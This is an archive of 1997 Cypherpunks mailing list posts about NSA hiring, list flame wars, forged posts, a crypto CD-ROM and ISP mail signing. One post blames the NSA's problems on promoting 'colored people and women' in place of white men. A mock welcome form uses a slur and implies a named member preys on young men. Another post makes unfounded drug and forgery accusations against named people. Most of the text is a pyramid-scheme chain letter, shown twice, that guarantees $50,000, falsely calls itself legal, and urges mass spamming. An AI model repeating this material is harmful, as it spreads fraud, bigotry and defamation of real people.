> most senior personnel are being forced out as the nation's biggest
> intelligence agency attempts simultaneously to reduce and diversify its
> staff.
> 
> As a result, some question whether national security is being imperiled by
> inexperienced employees being promoted to sensitive jobs to meet hiring
> quotas.

  Let me see if I get this straight...
  National security is important enough to strip the citizens of their
rights and freedoms and trample the constitution into the mud, but 
National Security is not so important that it can't be compromised for 
the purpose of removing competent white males from their jobs and
replacing them with less experienced and/or incompetent colored people
and women.

> The main concern, though, is whether, in its push to diversify its work
> force, the agency is leaving sensitive national security tasks in the hands
> of untrained workers. One former NSA veteran offered as evidence a recent
> travel report.
> 
> Such reports, which are required of NSA employees after business trips, are
> unclassified, available on request to anyone outside the agency. The report
> in question, filed by an inexperienced agent, detailed a trip to a city in
> Colombia that revealed classified details of the Drug Enforcement Agency's
> operation, down to the location of offices, names and secret technological
> information.

  Of course, when DEA agents are murdered because of incompetent
affirmative
action promotees at NSA, the government will call for stronger controls
on
encryption and greater powers of surveillance of the citizens.

> Such slips are not the only national security risk, NSA veterans say. This
> year, the agency's personnel office, prompted by a growing number of
> incidents, warned employees against using the Internet to access adult "news"
> groups and other pornographic sites.
> 
> Doing so not only violates NSA work rules but is considered a risk because
> foreign agents could try to blackmail employees discovered with explicit or
> illegal pornography.

  While the government blackmails its own citizens with legislation
which
threatens to imprison them for actions matching those of NSA employees.

> Now women and minority candidates receive at least one round of extra
> consideration for promotion, which means a minority woman receives three
> chances to advance to a white man's one.

  Is the White House declaring this a victory for minorities, drug
dealers
and child pornographers? Politics makes for strange bedfellows.

Rodney Mongerfield
"Take my rights...please!"






From cypherpunks at dev.null  Mon Jul  7 20:07:12 1997
From: cypherpunks at dev.null (Cypherpunk)
Date: Tue, 8 Jul 1997 11:07:12 +0800
Subject: Welcome To Cypherpunks! / Re: can i join
Message-ID: <199707080243.UAA20498@wombat.sk.sympatico.ca>



Marc J. Wohler wrote:
> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0 at aol.com wrote: (Subject: can I join)
> >> thanx
> >
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> >
> >Time for the flame-form.
> 
> Bennett,
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> 
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 3 ***
                  CLUELESS
               *** Level 3 ***
  Level 3 is the second lowest entry level available. From Level 3, 
you may move up to other levels, at which the pinnacle is Cypherpunk 
Elite, or down to Level 1, which each member of the Cypherpunks Mailing
List (TcM) has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. You will be given clues as to
how other list members rate your post (shit-for-brains) and if you
miss these clues, then you risk being demoted to Level 1--Moron.

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _CLUELESS_!"
 
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "thanx" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, even though it is really Timmmy sending
the ASCII art, himself.
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Marc Wohler, The Newbie's Pal:
  "Please ignore the insults of the intolerant elitists on the list.
Some of them are intolerant of gay people, too. In the interests of
promoting strong crypto I let new, young, male list members come over
to my house and discuss crypto over dinner and drinks.
  "Are you small enough to fit in a small home freezer?"
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***






From bm at dev.null  Mon Jul  7 20:53:06 1997
From: bm at dev.null (BadRemailer)
Date: Tue, 8 Jul 1997 11:53:06 +0800
Subject: Forged Posts
Message-ID: <199707080336.VAA28514@wombat.sk.sympatico.ca>



Tim May wrote:
> The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> again.
> 
> While I was out of town, he arranged to have this message sent:
> 
> At 5:20 PM -0700 7/2/97, Tim May wrote:
> >  Anything that isn't nailed down, is mine.
> >  Anything that I can pry loose, isn't nailed down.

  "Toto" is actually an anonymous pseudonym of Adam Back, who resents
Tim May's respected position on the list. "TruthMonger" posts are 
usually written by John Young and Robert Hettinga as a result of 
having the same drug connections and thus a common outlook on life
when they are stoned out of their gourds.
  Lucky Green's recent posts are actually forgeries done by snow, and
Kent Crispin has been sending posts purporting to be from Dr. Vulis.

  The fact is, forgeries have gotten so out of hand on the cypherpunks
list that even the "can i join" and "subscribe me" posts of late are
probably coming from John Gilmore, who is forging AOL return addresses
in an attempt to bring calls for his return to hosting the list in
order to save us from "The Night of the Living Newbies."

BadRemailer
"Some people just can't keep a secret."






From ashish-mahajan at usa.net  Mon Jul  7 21:24:19 1997
From: ashish-mahajan at usa.net (Ashish Mahajan)
Date: Tue, 8 Jul 1997 12:24:19 +0800
Subject: Need Money? This REALLY works!!!
Message-ID: <199707080404.AAA05420@sable.cc.vt.edu>




NOTE: "If you have not requested this message then please disregard and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU NEED MORE MONEY!?!"

Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to waste your time, so pay close attention.  The plan is SIMPLE, and actually WORKS, for one reason only:  "32 cents"  

By this I mean a lack thereof...no letters to mail.  Only a few strokes of your keyboard and a few thousand emails moving at the speed of light, for FREE, other than your internet access fee.  It's started with VERY MINIMAL  outlay ($20) and the income return will have you laughing in DISBELIEF all the way to the bank.  Do it now or hear about it later...read on please, and thank me when you make your first $1000....

Talk to you in eight weeks...
 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it.
 
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In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various business opportunities.  All of the programs I received, in my opinion, were not cost effective.  They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not.  One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it.
 
But like I was saying, in December of '95 I received this program.  I didn't send for it, or ask for it, they just got my name off a mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much as I wanted to start, without putting  me further in debt.  After I got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
 
Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter how much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting and mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT #2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.  Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but you must follow it EXACTLY!  Especially the rules of not trying to place your name in a different place.  It doesn't work, you'll lose out on a  lot of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will  make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.
 
If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program.  Eleven months passed, then it came.  I DIDN'T throw this one away.  I made $41,000 on the first try."
 
                                        Dawn W., Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to.  So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me."
 
                                        Alan B., Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out.  It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand  experience. There were more failures and bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.  You have just received information that can  give you financial freedom for the rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT."  You can make more money in the next few months  than you have ever imagined.
 
I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already made over FOUR MILLION DOLLARS!  I have retired from the program after sending out over 16,000 programs.  Now I have several offices which market this and several other programs here in the US and overseas.  By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of the people you send this to may send out 50,000...and your name will be on every one of them!.  Remember though, the more you send out, the more potential customers
you will reach.
 
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could happen when YOU participate.  Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money!  Definitely get back what you invested.  Any doubts you have will  vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson, Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response.  Using a good list the response could be much better.  Also many people will send out hundreds of thousands of programs instead of 2,000.  But continuing with this example, you send out only 2,000 programs.  With a .5% response, that is only 10 orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT #3 will show you the best methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail.  If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the more people will be doing business using email.  Get your piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's.  This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM.  Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say "Bull", please read  the program carefully.
 
This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
 
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by ordering the REPORT from each of the four 4 names listed on the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.   International orders should also include $1 extra for postage.  It is essential  that you specify the NAME and NUMBER of the report requested to the person you are ordering from.  You will need ALL FOUR (4) REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
STEP (2) Now you have to make some changes in this email message before you are ready to start sending it out.  Replace  the  name  and  address  under  REPORT #1  with yours, moving the one that was there down to REPORT #2.   Drop  the  name and address  under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4.   The name and address that was under REPORT #4 is dropped from the list and  this party  is  no doubt on the way to the bank.  When doing this, make certain you  type the names and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
STEP (3)   Having made the required changes in the NAME list, save it as a text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4)   Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this  fabulous  money-making opportunity. that's what I did.  And they love me now, more than ever. Then, email to anyone and everyone!  Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an old list, so always request a FRESH, NEW list. You will find out where to purchase these lists when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
 
ORDER REPORT #1 FROM:

Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
 
ORDER REPORT #2 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
 
ORDER REPORT #3 FROM:

Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
 
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than "YES", and this is the question that you must answer.  Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change.  Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information.  You will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product for $5 that costs me pennies to produce and email.  I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam.  At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.  After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise.  As you learned from the enclosed  material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program.  The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to make up my mind to participate in this program.  But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back.  BOY, was I ever surprised when I found my medium sized post office box crammed with orders!  I will make more money this year than any ten years of my life before."
 
                                        Mary Riceland, Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have them when the orders start coming in.  When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You must remember,  your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.
 
4.        Obtain as many email addresses as possible to send until you
           receive the information on mailing list companies in REPORT #3.
 
5.        Decide on the number of programs you intend to send out.  The more you  send, and the quicker you send them, the more money  you will make. 

6.        After mailing the programs, get ready to fill the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply this:  you must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two weeks, email out more programs until you do.  Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do.  Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and  relax, because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  guarantee.   Of  those  who  have participated in the program
and reached the above GUARANTEES-ALL have reached their $50,000 goal.  

Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."
















From shamrock at netcom.com  Mon Jul  7 21:41:22 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 8 Jul 1997 12:41:22 +0800
Subject: Fw: Hack the Mars rover
In-Reply-To: <199707080220.WAA26595@life.ai.mit.edu>
Message-ID: <3.0.2.32.19970707212618.006fed60@netcom10.netcom.com>



At 10:28 PM 7/7/97 -0400, Phillip M. Hallam-Baker wrote:
>Mentioning possible security holes in specific installations
>in public is not really fair. 

You must be joking.

[Not to mention that I didn't claim to have found a hole, but merely
inquired if anyone else knew about one].

--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From frantz at netcom.com  Mon Jul  7 22:18:14 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 8 Jul 1997 13:18:14 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: 



At 5:12 AM -0700 7/7/97, Mike wrote:
>Bill Frantz wrote:
>>Excuse me.  Certain parts of that CDROM are already available overseas.
>>If they are not posted to the net how does that prevent them from being
>>available overseas?
>
>You mean that it would be fine for foreigners to copy and sell the CD, but
>not to put it on the net? Well, copyright law being what it is, makes this
>a bit tricky. An ftp administrator have never been sentenced for copyright
>violation (please correct me if I'm wrong), but CD copiers are thrown in jail
>all the time. The distinction that the courts make is that of profit.
>
>Sure, they can buy the book, but the electronic version is obviously more
>useful to some people, or there wouldn't be any market for it.
>
>I know foreigners who would like to put a copy of Applied Cryptography in
>their PalmPilots, to carry around for reference. They can't do that legaly,
>and that makes crypto less accessible.

You will have to decide for yourself how important the extra "convenience"
of an electronic copy is compared with the publisher's stated intent to
"never do this again" if it is posted.  It is a simple case of future
benefit vs. immediate gratification.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From whgiii at amaranth.com  Mon Jul  7 22:22:19 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 8 Jul 1997 13:22:19 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707080506.AAA14434@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <24eH0D4w165w at bwalk.dm.com>, on 07/07/97 
   at 01:15 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I've replaced OS/2 on it by Windows 95.

Sorry to hear of your downgrade. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From stend+cypherpunks at sten.tivoli.com  Mon Jul  7 22:27:52 1997
From: stend+cypherpunks at sten.tivoli.com (Firebeard)
Date: Tue, 8 Jul 1997 13:27:52 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Bill Stewart writes:

BS> At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>> Anyone heard of a proposal for ISPs to automatically sign outgoing
>> mail headers?  Problem has been that spammers send email by one
>> path but forge a reply-to or from address at another location.

BS> Flat-out can't work.  The problem is that you can send SMTP
BS> directly from your machine to its destination, so the ISP only
BS> routes the IP packets and doesn't read them.

	But it could - it's simple firewall technology.  There's no MX
record for sten.tivoli.com, but any incoming email to me is
intercepted by proxy.tivoli.com, as is all other incoming traffic to
the internal tivoli.com network on port 25.  Since 'incoming' is only
a matter of definition, it would be trivial for an ISP to set up a
firewall that passed all other ports through transparently, but
redirected connections with a destination of port 25 to their own SMTP
server.

	I don't want them to, and I _certainly_ don't want the
government goons requiring ISPs to do this, but don't sit back and
relax with the notion that 'it can't be done'.

- -- 
#include                                /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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From snifong at ix.netcom.com  Mon Jul  7 22:57:21 1997
From: snifong at ix.netcom.com (Gbrd-man)
Date: Tue, 8 Jul 1997 13:57:21 +0800
Subject: Need Money? This REALLY works!!!
Message-ID: <01BC8B3F.78F2A660.snifong@ix.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bennett,
I think you need to send this guy your flame form, too.

NOTE: "If you have not requested this message then please disregard 
and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU 
NEED MORE MONEY!?!"
Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to 
waste your time, so pay close attention.  The plan is SIMPLE, and 
actually WORKS, for one reason only:  "32 cents"  
By this I mean a lack thereof...no letters to mail.  Only a few 
strokes of your keyboard and a few thousand emails moving at the 
speed of light, for FREE, other than your internet access fee.  It's 
started with VERY MINIMAL  outlay ($20) and the income return will 
have you laughing in DISBELIEF all the way to the bank.  Do it now or 
hear about it later...read on please, and thank me when you make your 
first $1000....
Talk to you in eight weeks...

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read 
the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave 
some thought and study to it.
My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews,  I decided to open my 
own business.  Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends, and creditors over 
$35,000.  The economy was taking a toll on my business and I just 
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  I 
truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to 
share my experience in hopes that this will change your life 
FOREVER....FINANCIALLY!!!
In mid-December, I received this program via email.  Six months prior 
to
receiving this program I had been sending away for information on 
various business opportunities.  All of the programs I received, in 
my opinion, were not cost effective.  They were either too difficult 
for me to comprehend or the initial investment was too much for me to 
risk to see if they worked or not.  One claimed I'd make a million 
dollars in one year...it didn't tell me I'd have to write a book to 
make it.
But like I was saying, in December of '95 I received this program.  I 
didn't send for it, or ask for it, they just got my name off a 
mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several 
times, to make sure I was reading it correctly, I couldn't believe my 
eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much 
as I wanted to start, without putting  me further in debt.  After I 
got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".
Initially I sent out 10,000 emails.  It only cost me about $15.00 for 
my
time on-line.  The great thing about email is that I didn't need any 
money
for printing to send out the program, only the cost to fulfill my 
orders.  I
am telling you like it is, I hope it doesn't turn you off, but I 
promised
myself that I would not "rip-off" anyone, no matter how much money it 
cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting 
and mass mail program at:
http://microsyssolutions.com/
In less than one week, I was starting to receive orders for REPORT 
#1. By January 13th, I had received 26 orders for REPORT #1.  When 
you read the GUARANTEE in the program, you will see that "YOU MUST 
RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU 
